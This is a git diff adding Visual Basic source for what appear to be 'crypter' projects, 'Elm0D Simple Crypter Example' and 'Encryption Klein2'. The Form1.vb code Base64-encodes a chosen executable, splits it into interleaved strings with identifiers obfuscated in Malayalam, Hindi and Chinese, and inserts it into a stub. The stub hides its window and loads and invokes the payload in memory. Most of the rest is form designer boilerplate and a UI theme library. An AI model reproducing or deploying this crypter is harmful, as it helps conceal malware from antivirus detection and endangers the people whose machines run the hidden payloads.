+#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Builder.My.MySettings + Get + Return Global.Builder.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Settings.settings b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/NEW Crypter.ico b/scode (Elm0D Simple Crypter Example/WindowsApplication118/NEW Crypter.ico new file mode 100644 index 0000000..79cc60d Binary files /dev/null and b/scode (Elm0D Simple Crypter Example/WindowsApplication118/NEW Crypter.ico differ diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/Res.ini b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/Res.ini new file mode 100644 index 0000000..3474504 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/Res.ini @@ -0,0 +1,23 @@ +[MRU List] +MRU1=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources\Res.exe +MRU2= +MRU3= +MRU4= + +[Setup] +left=235 +top=248 +width=681 +height=367 +MaximizedState=0 +vsplit=200 +LastOpenedDir=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources +LastSavedDir= + +[Font] +Name=Courier New +Size=10 +CharSet=1 +Color=-2147483640 +Style=0 + diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/Resources.rar b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/Resources.rar new file mode 100644 index 0000000..6082de6 Binary files /dev/null and b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/Resources.rar differ diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/res.exe b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/res.exe new file mode 100644 index 0000000..fb5b912 Binary files /dev/null and b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Resources/res.exe differ diff --git a/scode (Encryption Klein2/Encryption Klein2.sln b/scode (Encryption Klein2/Encryption Klein2.sln new file mode 100644 index 0000000..e3b3784 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Encryption Klein2", "Encryption Klein2\Encryption Klein2.vbproj", "{C46DB3D1-E46F-415C-82AB-18B096AFEB39}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C46DB3D1-E46F-415C-82AB-18B096AFEB39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C46DB3D1-E46F-415C-82AB-18B096AFEB39}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C46DB3D1-E46F-415C-82AB-18B096AFEB39}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C46DB3D1-E46F-415C-82AB-18B096AFEB39}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Encryption Klein2/Encryption Klein2.v12.suo b/scode (Encryption Klein2/Encryption Klein2.v12.suo new file mode 100644 index 0000000..72ef6e9 Binary files /dev/null and b/scode (Encryption Klein2/Encryption Klein2.v12.suo differ diff --git a/scode (Encryption Klein2/Encryption Klein2/App.config b/scode (Encryption Klein2/Encryption Klein2/App.config new file mode 100644 index 0000000..49c50e0 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (Encryption Klein2/Encryption Klein2/Encryption Klein2.vbproj b/scode (Encryption Klein2/Encryption Klein2/Encryption Klein2.vbproj new file mode 100644 index 0000000..b77165d --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/Encryption Klein2.vbproj @@ -0,0 +1,136 @@ + + + + + Debug + AnyCPU + {C46DB3D1-E46F-415C-82AB-18B096AFEB39} + WinExe + Encryption_Klein2.My.MyApplication + Encryption_Klein2 + Encryption Klein2 + 512 + WindowsForms + v4.5 + + + AnyCPU + true + full + true + true + bin\Debug\ + Encryption Klein2.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Encryption Klein2.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + UserControl1.vb + + + Component + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (Encryption Klein2/Encryption Klein2/Form1.Designer.vb b/scode (Encryption Klein2/Encryption Klein2/Form1.Designer.vb new file mode 100644 index 0000000..2b43c6a --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/Form1.Designer.vb @@ -0,0 +1,169 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.NsTheme1 = New Encryption_Klein2.NSTheme() + Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.NsButton3 = New Encryption_Klein2.NSButton() + Me.NsButton2 = New Encryption_Klein2.NSButton() + Me.NsTextBox1 = New Encryption_Klein2.NSTextBox() + Me.NsButton1 = New Encryption_Klein2.NSButton() + Me.NsButton4 = New Encryption_Klein2.NSButton() + Me.NsButton5 = New Encryption_Klein2.NSButton() + Me.NsTheme1.SuspendLayout() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'NsTheme1 + ' + Me.NsTheme1.AccentOffset = 42 + Me.NsTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer), CType(CType(50, Byte), Integer)) + Me.NsTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.NsTheme1.Colors = New Encryption_Klein2.Bloom(-1) {} + Me.NsTheme1.Controls.Add(Me.NsButton5) + Me.NsTheme1.Controls.Add(Me.NsButton4) + Me.NsTheme1.Controls.Add(Me.NumericUpDown1) + Me.NsTheme1.Controls.Add(Me.TextBox1) + Me.NsTheme1.Controls.Add(Me.NsButton3) + Me.NsTheme1.Controls.Add(Me.NsButton2) + Me.NsTheme1.Controls.Add(Me.NsTextBox1) + Me.NsTheme1.Controls.Add(Me.NsButton1) + Me.NsTheme1.Customization = "" + Me.NsTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.NsTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.NsTheme1.Image = Nothing + Me.NsTheme1.Location = New System.Drawing.Point(0, 0) + Me.NsTheme1.Movable = True + Me.NsTheme1.Name = "NsTheme1" + Me.NsTheme1.NoRounding = False + Me.NsTheme1.Sizable = True + Me.NsTheme1.Size = New System.Drawing.Size(603, 258) + Me.NsTheme1.SmartBounds = True + Me.NsTheme1.StartPosition = System.Windows.Forms.FormStartPosition.WindowsDefaultLocation + Me.NsTheme1.TabIndex = 0 + Me.NsTheme1.Text = "Encryption Klein" + Me.NsTheme1.TransparencyKey = System.Drawing.Color.Empty + Me.NsTheme1.Transparent = False + ' + 'NumericUpDown1 + ' + Me.NumericUpDown1.Location = New System.Drawing.Point(498, 86) + Me.NumericUpDown1.Name = "NumericUpDown1" + Me.NumericUpDown1.Size = New System.Drawing.Size(83, 20) + Me.NumericUpDown1.TabIndex = 10 + ' + 'TextBox1 + ' + Me.TextBox1.BackColor = System.Drawing.Color.Black + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox1.ForeColor = System.Drawing.Color.Lime + Me.TextBox1.Location = New System.Drawing.Point(39, 75) + Me.TextBox1.Multiline = True + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical + Me.TextBox1.Size = New System.Drawing.Size(440, 169) + Me.TextBox1.TabIndex = 9 + ' + 'NsButton3 + ' + Me.NsButton3.Location = New System.Drawing.Point(501, 177) + Me.NsButton3.Name = "NsButton3" + Me.NsButton3.Size = New System.Drawing.Size(88, 25) + Me.NsButton3.TabIndex = 3 + Me.NsButton3.Text = "Copy" + ' + 'NsButton2 + ' + Me.NsButton2.Location = New System.Drawing.Point(498, 117) + Me.NsButton2.Name = "NsButton2" + Me.NsButton2.Size = New System.Drawing.Size(91, 27) + Me.NsButton2.TabIndex = 2 + Me.NsButton2.Text = "Crypter" + ' + 'NsTextBox1 + ' + Me.NsTextBox1.Cursor = System.Windows.Forms.Cursors.IBeam + Me.NsTextBox1.Location = New System.Drawing.Point(55, 46) + Me.NsTextBox1.MaxLength = 32767 + Me.NsTextBox1.Multiline = False + Me.NsTextBox1.Name = "NsTextBox1" + Me.NsTextBox1.ReadOnly = False + Me.NsTextBox1.Size = New System.Drawing.Size(424, 23) + Me.NsTextBox1.TabIndex = 1 + Me.NsTextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.NsTextBox1.UseSystemPasswordChar = False + ' + 'NsButton1 + ' + Me.NsButton1.Location = New System.Drawing.Point(498, 44) + Me.NsButton1.Name = "NsButton1" + Me.NsButton1.Size = New System.Drawing.Size(91, 26) + Me.NsButton1.TabIndex = 0 + Me.NsButton1.Text = "Add...." + ' + 'NsButton4 + ' + Me.NsButton4.Location = New System.Drawing.Point(533, 223) + Me.NsButton4.Name = "NsButton4" + Me.NsButton4.Size = New System.Drawing.Size(67, 32) + Me.NsButton4.TabIndex = 11 + Me.NsButton4.Text = "الحقوق " + ' + 'NsButton5 + ' + Me.NsButton5.Font = New System.Drawing.Font("Verdana", 9.75!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.NsButton5.Location = New System.Drawing.Point(565, 0) + Me.NsButton5.Name = "NsButton5" + Me.NsButton5.Size = New System.Drawing.Size(37, 30) + Me.NsButton5.TabIndex = 12 + Me.NsButton5.Text = "X" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(603, 258) + Me.Controls.Add(Me.NsTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form1" + Me.Text = "Form1" + Me.NsTheme1.ResumeLayout(False) + Me.NsTheme1.PerformLayout() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents NsTheme1 As Encryption_Klein2.NSTheme + Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents NsButton3 As Encryption_Klein2.NSButton + Friend WithEvents NsButton2 As Encryption_Klein2.NSButton + Friend WithEvents NsTextBox1 As Encryption_Klein2.NSTextBox + Friend WithEvents NsButton1 As Encryption_Klein2.NSButton + Friend WithEvents NsButton4 As Encryption_Klein2.NSButton + Friend WithEvents NsButton5 As Encryption_Klein2.NSButton + +End Class diff --git a/scode (Encryption Klein2/Encryption Klein2/Form1.resx b/scode (Encryption Klein2/Encryption Klein2/Form1.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Encryption Klein2/Encryption Klein2/Form1.vb b/scode (Encryption Klein2/Encryption Klein2/Form1.vb new file mode 100644 index 0000000..a5749e1 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/Form1.vb @@ -0,0 +1,62 @@ +Public Class Form1 + + Private Sub NsButton1_Click(sender As Object, e As EventArgs) Handles NsButton1.Click + Dim ofd As New OpenFileDialog With + { + .Filter = "ExE Files (*.exe) | *.exe" + } + If ofd.ShowDialog() = Windows.Forms.DialogResult.OK Then + TextBox1.Text = ofd.FileName + End If + End Sub + + Private Sub NsButton2_Click(sender As Object, e As EventArgs) Handles NsButton2.Click + Dim os As String = NumericUpDown1.Value + If (Not String.IsNullOrEmpty(TextBox1.Text)) Then + Dim azert As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text)) + Dim rty As String = azert.Length + Dim osx As String = rty / os + Dim kerkoz As Integer + Dim oiuy As String + Dim fsdfs As String = "" + Dim dfhdfhdf As String = "ഗദ്യപ്രബന്ധമാണ്ഉപന്യാസം" + For ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ As Integer = 1 To os + For lop = 0 To rty - 1 Step +os + oiuy += Mid(azert, lop + ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ, 1) + Next + Dim ertyuio As String = ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ + dfhdfhdf = dfhdfhdf + " & Strings.Mid(ണ്ടാവേണ്ടതാണ്വിഷയത്തിന്റെആരംഭത്തെക്കുറിച്ചുംഉപസംഹാരത്തെക്കുറിച്ചുംരചയിതാവ്" + ertyuio + ", ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ, 1)" + fsdfs = fsdfs + "dim ണ്ടാവേണ്ടതാണ്വിഷയത്തിന്റെആരംഭത്തെക്കുറിച്ചുംഉപസംഹാരത്തെക്കുറിച്ചുംരചയിതാവ്" + ertyuio + " as string= """ + oiuy + """" + ChrW(10) + oiuy = "" + Next + TextBox1.Text = My.Resources.stub.Replace("अपेक्षाइतनास्वतंत्रहैकिउसकीसटीकपरिभाषाकरनाअत्यंकठिनहै", fsdfs).Replace("写作者惯常用各种修辞手法曲折传达自己的见解和情", dfhdfhdf) + End If + End Sub + + Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged + + End Sub + + Private Sub NsTextBox1_TextChanged(sender As Object, e As EventArgs) Handles NsTextBox1.TextChanged + + End Sub + + Private Sub NsButton3_Click(sender As Object, e As EventArgs) Handles NsButton3.Click + Clipboard.Clear() + If NsTextBox1.Text = "" Then + MsgBox("No Text To Copie", MsgBoxStyle.Critical, "Information") + Exit Sub + End If + Clipboard.SetText(NsTextBox1.Text) + MsgBox("Copied", MsgBoxStyle.Information, "Information") + End Sub + + Private Sub NsButton4_Click(sender As Object, e As EventArgs) Handles NsButton4.Click + MsgBox("♕| K O P R A |♕") + + End Sub + + Private Sub NsButton5_Click(sender As Object, e As EventArgs) Handles NsButton5.Click + Me.Close() + End Sub +End Class diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/Application.Designer.vb b/scode (Encryption Klein2/Encryption Klein2/My Project/Application.Designer.vb new file mode 100644 index 0000000..80182ae --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Encryption_Klein2.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/Application.myapp b/scode (Encryption Klein2/Encryption Klein2/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/AssemblyInfo.vb b/scode (Encryption Klein2/Encryption Klein2/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..8d15b75 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/Resources.Designer.vb b/scode (Encryption Klein2/Encryption Klein2/My Project/Resources.Designer.vb new file mode 100644 index 0000000..fea61bf --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/Resources.Designer.vb @@ -0,0 +1,82 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Encryption_Klein2.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized string similar to Public Class Form1 + '''Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + '''Me.Hide() + '''Me.ShowInTaskbar = False + '''Me.ShowIcon = False + '''Me.Opacity = 0 + '''अपेक्षाइतनास्वतंत्रहैकिउसकीसटीकपरिभाषाकरनाअत्यंकठिनहै + '''Dim ഗദ്യപ്രബന്ധമാണ്ഉപന്യാസം As String = "" + '''Dim ഒരുഉപന്യാസത്തിന്റേതായി As Integer = ണ്ടാവേണ്ടതാണ്വിഷയത്തിന്റെആരംഭത്തെക്കുറിച്ചുംഉപസംഹാരത്തെക്കുറിച്ചുംരചയിതാവ്1.Length + '''Dim ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ As Integer = 1 + '''Do While (ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്ന [rest of string was truncated]";. + ''' + Friend ReadOnly Property stub() As String + Get + Return ResourceManager.GetString("stub", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/Resources.resx b/scode (Encryption Klein2/Encryption Klein2/My Project/Resources.resx new file mode 100644 index 0000000..58c7a6b --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\stub.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + + \ No newline at end of file diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/Settings.Designer.vb b/scode (Encryption Klein2/Encryption Klein2/My Project/Settings.Designer.vb new file mode 100644 index 0000000..cfd7759 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Encryption_Klein2.My.MySettings + Get + Return Global.Encryption_Klein2.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Encryption Klein2/Encryption Klein2/My Project/Settings.settings b/scode (Encryption Klein2/Encryption Klein2/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Encryption Klein2/Encryption Klein2/Resources/stub.txt b/scode (Encryption Klein2/Encryption Klein2/Resources/stub.txt new file mode 100644 index 0000000..52ca67e --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/Resources/stub.txt @@ -0,0 +1,18 @@ +Public Class Form1 +Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load +Me.Hide() +Me.ShowInTaskbar = False +Me.ShowIcon = False +Me.Opacity = 0 +अपेक्षाइतनास्वतंत्रहैकिउसकीसटीकपरिभाषाकरनाअत्यंकठिनहै +Dim ഗദ്യപ്രബന്ധമാണ്ഉപന്യാസം As String = "" +Dim ഒരുഉപന്യാസത്തിന്റേതായി As Integer = ണ്ടാവേണ്ടതാണ്വിഷയത്തിന്റെആരംഭത്തെക്കുറിച്ചുംഉപസംഹാരത്തെക്കുറിച്ചുംരചയിതാവ്1.Length +Dim ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ As Integer = 1 +Do While (ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ <= ഒരുഉപന്യാസത്തിന്റേതായി) +ഗദ്യപ്രബന്ധമാണ്ഉപന്യാസം = 写作者惯常用各种修辞手法曲折传达自己的见解和情 +ഏകാഗ്രതയോടെസമീപിയ്ക്കുന്നതാണ്ഒന്നാമത്തെഗുണംവിഷയത്തെ += 1 +Loop +Dim ഏകാഗ്രതയോടെസമീ As Object = AppDomain.CurrentDomain.Load(Convert.FromBase64String(ഗദ്യപ്രബന്ധമാണ്ഉപന്യാസം)) +Dim ഏകാഗ്രതയോടെസ As String = ഏകാഗ്രതയോടെസമീ.EntryPoint.Invoke(Nothing, Nothing) +End Sub +End Class \ No newline at end of file diff --git a/scode (Encryption Klein2/Encryption Klein2/UserControl1.Designer.vb b/scode (Encryption Klein2/Encryption Klein2/UserControl1.Designer.vb new file mode 100644 index 0000000..da16761 --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/UserControl1.Designer.vb @@ -0,0 +1,29 @@ + _ +Partial Class UserControl1 + Inherits System.Windows.Forms.UserControl + + 'UserControl overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + components = New System.ComponentModel.Container() + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + End Sub + +End Class diff --git a/scode (Encryption Klein2/Encryption Klein2/UserControl1.vb b/scode (Encryption Klein2/Encryption Klein2/UserControl1.vb new file mode 100644 index 0000000..8b3d2ae --- /dev/null +++ b/scode (Encryption Klein2/Encryption Klein2/UserControl1.vb @@ -0,0 +1,5142 @@ +Imports System +Imports System.Windows.Forms +Imports System.Drawing +Imports System.Drawing.Drawing2D +Imports System.Drawing.Text +Imports System.ComponentModel +Imports System.Collections.Generic +Imports System.Text +Imports System.Runtime.InteropServices +Imports System.Drawing.Imaging +Imports System.IO + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 08/02/2011 +'Changed: 12/06/2011 +'Version: 1.5.4 +'------------------ + +MustInherit Class ThemeContainer154 + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + If DoneCreation Then InitializeMessages() + + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not _ControlMode Then MyBase.Dock = DockStyle.Fill + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Private DoneCreation As Boolean + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + MyBase.OnParentChanged(e) + + If Parent Is Nothing Then Return + 